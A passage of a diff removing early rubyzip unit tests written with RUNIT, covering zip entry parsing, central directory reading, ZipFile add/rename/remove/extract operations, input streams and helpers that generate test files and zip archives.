assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - cdir = ZipCentralDirectory.new(entries, "my zip comment") - File.open("cdirtest.bin", "wb") { |f| cdir.writeToStream(f) } - cdirReadback = ZipCentralDirectory.new - File.open("cdirtest.bin", "rb") { |f| cdirReadback.readFromStream(f) } - - assert_equals(cdir.entries, cdirReadback.entries) - end - - def test_equality - cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "my zip comment") - cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, - "somethingExtra"), - ZipEntry.new("file.zip", "lastEntry.txt") ], - "comment?") - assert_equals(cdir1, cdir1) - assert_equals(cdir1, cdir2) - - assert(cdir1 != cdir3) - assert(cdir2 != cdir3) - assert(cdir2 != cdir3) - assert(cdir3 != cdir4) - - assert(cdir3 != "hello") - end -end - - -class BasicZipFileTest < RUNIT::TestCase - include AssertEntry - - def setup - @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zipName) - @testEntryNameIndex=0 - end - - def nextTestEntryName - retVal=TestZipFile::TEST_ZIP2.entryNames[@testEntryNameIndex] - @testEntryNameIndex+=1 - return retVal - end - - def test_entries - assert_equals(TestZipFile::TEST_ZIP2.entryNames, @zipFile.entries.map {|e| e.name} ) - end - - def test_each - @zipFile.each { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_foreach - ZipFile.foreach(TestZipFile::TEST_ZIP2.zipName) { - |entry| - assert_equals(nextTestEntryName, entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStream - @zipFile.each { - |entry| - assertEntry(nextTestEntryName, @zipFile.getInputStream(entry), - entry.name) - } - assert_equals(4, @testEntryNameIndex) - end - - def test_getInputStreamBlock - fileAndEntryName = @zipFile.entries.first.name - @zipFile.getInputStream(fileAndEntryName) { - |zis| - assertEntryContentsForStream(fileAndEntryName, - zis, - fileAndEntryName) - } - end -end - -class CommonZipFileFixture < RUNIT::TestCase - include AssertEntry - - EMPTY_FILENAME = "emptyZipFile.zip" - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "4entry_copy.zip" - - def setup - File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - end -end - -class ZipFileTest < CommonZipFileFixture - - def test_createFromScratch - comment = "a short comment" - - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.comment = comment - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals(comment, zfRead.comment) - assert_equals(0, zfRead.entries.length) - end - - def test_add - srcFile = "ziptest.rb" - entryName = "newEntryName.rb" - assert(File.exists? srcFile) - zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) - zf.add(entryName, srcFile) - zf.close - - zfRead = ZipFile.new(EMPTY_FILENAME) - assert_equals("", zfRead.comment) - assert_equals(1, zfRead.entries.length) - assert_equals(entryName, zfRead.entries.first.name) - AssertEntry.assertContents(srcFile, - zfRead.getInputStream(entryName) { |zis| zis.read }) - end - - def test_addExistingEntryName - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(zf.entries.first.name, "ziptest.rb") - } - } - end - - def test_addExistingEntryNameReplace - gotCalled = false - replacedEntry = nil - ZipFile.open(TEST_ZIP.zipName) { - |zf| - replacedEntry = zf.entries.first.name - zf.add(replacedEntry, "ziptest.rb") { gotCalled = true; true } - } - assert(gotCalled) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assertContains(zf, replacedEntry, "ziptest.rb") - } - end - - def test_addDirectory - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) - } - ZipFile.open(TEST_ZIP.zipName) { - |zf| - dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } - assert(dirEntry.isDirectory) - } - end - - def test_remove - entryToRemove, *remainingEntries = TEST_ZIP.entryNames - - File.copy(TestZipFile::TEST_ZIP2.zipName, TEST_ZIP.zipName) - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) - zf.remove(entryToRemove) - assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) - assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) - zfRead.close - end - - - def test_rename - entryToRename, *remainingEntries = TEST_ZIP.entryNames - - zf = ZipFile.new(TEST_ZIP.zipName) - assert(zf.entries.map { |e| e.name }.include? entryToRename) - - newName = "changed name" - assert(! zf.entries.map { |e| e.name }.include?(newName)) - - zf.rename(entryToRename, newName) - assert(zf.entries.map { |e| e.name }.include? newName) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.map { |e| e.name }.include? newName) - zfRead.close - end - - def test_renameToExistingEntry - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - assert_exception(ZipEntryExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) - } - } - - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, zf.entries.map{ |e| e.name }) - } - end - - def test_renameToExistingEntryOverwrite - oldEntries = nil - ZipFile.open(TEST_ZIP.zipName) { |zf| oldEntries = zf.entries } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } - } - - assert(gotCalled) - oldEntries.delete_at(0) - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_equals(oldEntries.map{ |e| e.name }, - zf.entries.map{ |e| e.name }) - } - end - - def test_renameNonEntry - nonEntry = "bogusEntry" - targetEntry = "targetEntryName" - zf = ZipFile.new(TEST_ZIP.zipName) - assert(! zf.entries.include?(nonEntry)) - assert_exception(ZipNoSuchEntryError) { - zf.rename(nonEntry, targetEntry) - } - zf.commit - assert(! zf.entries.include?(targetEntry)) - ensure - zf.close - end - - def test_renameEntryToExistingEntry - entry1, entry2, *remaining = TEST_ZIP.entryNames - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipEntryExistsError) { - zf.rename(entry1, entry2) - } - ensure - zf.close - end - - def test_replace - unchangedEntries = TEST_ZIP.entryNames.dup - entryToReplace = unchangedEntries.delete_at(2) - newEntrySrcFilename = "ziptest.rb" - - zf = ZipFile.new(TEST_ZIP.zipName) - zf.replace(entryToReplace, newEntrySrcFilename) - - zf.close - - zfRead = ZipFile.new(TEST_ZIP.zipName) - AssertEntry::assertContents(newEntrySrcFilename, - zfRead.getInputStream(entryToReplace) { |is| is.read }) - zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - - def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end - - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # 